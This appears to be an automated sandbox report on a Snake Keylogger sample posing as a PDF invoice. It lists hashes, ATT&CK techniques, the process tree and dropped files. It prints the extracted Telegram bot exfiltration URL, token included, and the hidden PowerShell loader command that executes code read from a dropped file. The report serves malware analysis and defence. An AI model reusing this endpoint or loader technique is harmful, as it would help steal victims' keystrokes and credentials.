snakekeylogger | cb58bf810026a8ee8a4e7dda3a23369f4f3a1170e97010cd45b698dc412a4b4b

Analysis

max time kernel
140s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
25-10-2024 14:20

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General

Target

Factura 1-014685.pdf.exe
Size

455KB
MD5

64125d381137afda5c8ec6be3865f00b
SHA1

2869466fb83c10b3009befce7cfd90e7e819500b
SHA256

cb58bf810026a8ee8a4e7dda3a23369f4f3a1170e97010cd45b698dc412a4b4b
SHA512

969b559acc761532548b86b22f107c018150f64f2338990b418bd00c8c813a8c85f503e087db15a3e55c50e9fd71f088b203b7e1fb6993f7a279678a1612a0f9
SSDEEP

12288:xTMQmUVDbh1VCnBcS1tx7uxr2sN9cdPV+a51:xTMQvpjVCiHig9qPVf

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7635736517:AAHFp6wO5kdpMkKD4zsolwNzrM3D08NLJQw/sendMessage?chat_id=5913849875

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/3128-88-0x0000000001200000-0x0000000002454000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5044	powershell.exe

Blocklisted process makes network request 5 IoCs

flow	pid	Process
44	3128	msiexec.exe
46	3128	msiexec.exe
48	3128	msiexec.exe
50	3128	msiexec.exe
52	3128	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
43	drive.google.com
44	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3128	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
5044	powershell.exe
3128	msiexec.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\unionizes\impersonal.ini	Factura 1-014685.pdf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
400	3128	WerFault.exe	98

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Factura 1-014685.pdf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
5044	powershell.exe
5044	powershell.exe
5044	powershell.exe
5044	powershell.exe
5044	powershell.exe
5044	powershell.exe
5044	powershell.exe
5044	powershell.exe
5044	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
5044	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	5044	powershell.exe
Token: SeIncreaseQuotaPrivilege	5044	powershell.exe
Token: SeSecurityPrivilege	5044	powershell.exe
Token: SeTakeOwnershipPrivilege	5044	powershell.exe
Token: SeLoadDriverPrivilege	5044	powershell.exe
Token: SeSystemProfilePrivilege	5044	powershell.exe
Token: SeSystemtimePrivilege	5044	powershell.exe
Token: SeProfSingleProcessPrivilege	5044	powershell.exe
Token: SeIncBasePriorityPrivilege	5044	powershell.exe
Token: SeCreatePagefilePrivilege	5044	powershell.exe
Token: SeBackupPrivilege	5044	powershell.exe
Token: SeRestorePrivilege	5044	powershell.exe
Token: SeShutdownPrivilege	5044	powershell.exe
Token: SeDebugPrivilege	5044	powershell.exe
Token: SeSystemEnvironmentPrivilege	5044	powershell.exe
Token: SeRemoteShutdownPrivilege	5044	powershell.exe
Token: SeUndockPrivilege	5044	powershell.exe
Token: SeManageVolumePrivilege	5044	powershell.exe
Token: 33	5044	powershell.exe
Token: 34	5044	powershell.exe
Token: 35	5044	powershell.exe
Token: 36	5044	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4220 wrote to memory of 5044	4220	Factura 1-014685.pdf.exe	92
PID 4220 wrote to memory of 5044	4220	Factura 1-014685.pdf.exe	92
PID 4220 wrote to memory of 5044	4220	Factura 1-014685.pdf.exe	92
PID 5044 wrote to memory of 3128	5044	powershell.exe	98
PID 5044 wrote to memory of 3128	5044	powershell.exe	98
PID 5044 wrote to memory of 3128	5044	powershell.exe	98
PID 5044 wrote to memory of 3128	5044	powershell.exe	98

C:\Users\Admin\AppData\Local\Temp\Factura 1-014685.pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Factura 1-014685.pdf.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4220
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Buslinien=Get-Content -raw 'C:\Users\Admin\AppData\Local\storsejl\Ufarligheden.Pic';$Bassetter=$Buslinien.SubString(55168,3);.$Bassetter($Buslinien)
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5044
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:3128
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3128 -s 2020
      4⤵
      Program crash
      PID:400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3128 -ip 3128
1⤵
PID:4296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uqb2izdq.tte.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\storsejl\Grunth.Acc

Filesize
218KB

MD5
05daeebbd8825dc01afa6d3f3a1dd770

SHA1
a5dc1bb6f651b4e3ea43dfefff22b71a8fc00d06

SHA256
bedbecba0718aeabee6e986196a8fa791d6b24fc67c0fb7e2beb2325544f9d0d

SHA512
dd3d5bfa9cc6e670ddf2050d97c6204fcca53fe75c3e79826296dd69c0dae9808bae87c5edb6ce564f78ee0f0fd798354e8ac6a761c3dd068b6b1165ca09fe1d

Download Submit
C:\Users\Admin\AppData\Local\storsejl\Ufarligheden.Pic

Filesize
53KB

MD5
81af4fd82b47873584f160fb4228293a

SHA1
656b56b51ec006f0dd660a92a8d270d52ae4fb8d

SHA256
f639169cb559cd1866363100feb43da1b170b708623f45b12c0a706e01561ab6

SHA512
caa807605ec4b51dc27a2e2a5db33818cebc082c84893d6ea0b588a5d1a4bb80f49ce3d5dae96a1baaa25a64420a2455237ae3b1ee8e3765cb99987f775af406

Download Submit
memory/3128-88-0x0000000001200000-0x0000000002454000-memory.dmp

Filesize
18.3MB

Download
memory/5044-32-0x0000000006360000-0x00000000063AC000-memory.dmp

Filesize
304KB

Download
memory/5044-13-0x0000000073D4E000-0x0000000073D4F000-memory.dmp

Filesize
4KB

Download
memory/5044-17-0x0000000073D40000-0x00000000744F0000-memory.dmp

Filesize
7.7MB

Download
memory/5044-54-0x0000000073D40000-0x00000000744F0000-memory.dmp

Filesize
7.7MB

Download
memory/5044-19-0x0000000005C20000-0x0000000005C86000-memory.dmp

Filesize
408KB

Download
memory/5044-56-0x0000000073D40000-0x00000000744F0000-memory.dmp

Filesize
7.7MB

Download
memory/5044-31-0x0000000006310000-0x000000000632E000-memory.dmp

Filesize
120KB

Download
memory/5044-55-0x00000000078D0000-0x00000000078DA000-memory.dmp

Filesize
40KB

Download
memory/5044-33-0x0000000007300000-0x0000000007396000-memory.dmp

Filesize
600KB

Download
memory/5044-34-0x0000000006810000-0x000000000682A000-memory.dmp

Filesize
104KB

Download
memory/5044-35-0x0000000006880000-0x00000000068A2000-memory.dmp

Filesize
136KB

Download
memory/5044-36-0x0000000007970000-0x0000000007F14000-memory.dmp

Filesize
5.6MB

Download
memory/5044-15-0x0000000005580000-0x0000000005BA8000-memory.dmp

Filesize
6.2MB

Download
memory/5044-38-0x00000000085A0000-0x0000000008C1A000-memory.dmp

Filesize
6.5MB

Download
memory/5044-41-0x0000000070330000-0x0000000070684000-memory.dmp

Filesize
3.3MB

Download
memory/5044-51-0x00000000077A0000-0x00000000077BE000-memory.dmp

Filesize
120KB

Download
memory/5044-52-0x0000000073D40000-0x00000000744F0000-memory.dmp

Filesize
7.7MB

Download
memory/5044-40-0x00000000701D0000-0x000000007021C000-memory.dmp

Filesize
304KB

Download
memory/5044-39-0x0000000007760000-0x0000000007792000-memory.dmp

Filesize
200KB

Download
memory/5044-53-0x00000000077D0000-0x0000000007873000-memory.dmp

Filesize
652KB

Download
memory/5044-20-0x0000000005C90000-0x0000000005CF6000-memory.dmp

Filesize
408KB

Download
memory/5044-18-0x0000000005450000-0x0000000005472000-memory.dmp

Filesize
136KB

Download
memory/5044-30-0x0000000005F30000-0x0000000006284000-memory.dmp

Filesize
3.3MB

Download
memory/5044-57-0x0000000007910000-0x000000000793A000-memory.dmp

Filesize
168KB

Download
memory/5044-58-0x0000000007940000-0x0000000007964000-memory.dmp

Filesize
144KB

Download
memory/5044-59-0x0000000073D40000-0x00000000744F0000-memory.dmp

Filesize
7.7MB

Download
memory/5044-62-0x0000000073D40000-0x00000000744F0000-memory.dmp

Filesize
7.7MB

Download
memory/5044-63-0x0000000073D40000-0x00000000744F0000-memory.dmp

Filesize
7.7MB

Download
memory/5044-61-0x0000000073D4E000-0x0000000073D4F000-memory.dmp

Filesize
4KB

Download
memory/5044-16-0x0000000073D40000-0x00000000744F0000-memory.dmp

Filesize
7.7MB

Download
memory/5044-65-0x0000000073D40000-0x00000000744F0000-memory.dmp

Filesize
7.7MB

Download
memory/5044-66-0x0000000073D40000-0x00000000744F0000-memory.dmp

Filesize
7.7MB

Download
memory/5044-68-0x0000000073D40000-0x00000000744F0000-memory.dmp

Filesize
7.7MB

Download
memory/5044-67-0x0000000008C20000-0x000000000A6C1000-memory.dmp

Filesize
26.6MB

Download
memory/5044-69-0x0000000073D40000-0x00000000744F0000-memory.dmp

Filesize
7.7MB

Download
memory/5044-70-0x0000000073D40000-0x00000000744F0000-memory.dmp

Filesize
7.7MB

Download
memory/5044-71-0x0000000073D40000-0x00000000744F0000-memory.dmp

Filesize
7.7MB

Download
memory/5044-72-0x0000000073D40000-0x00000000744F0000-memory.dmp

Filesize
7.7MB

Download
memory/5044-74-0x0000000073D40000-0x00000000744F0000-memory.dmp

Filesize
7.7MB

Download
memory/5044-75-0x0000000073D40000-0x00000000744F0000-memory.dmp

Filesize
7.7MB

Download
memory/5044-14-0x0000000002D30000-0x0000000002D66000-memory.dmp

Filesize
216KB

Download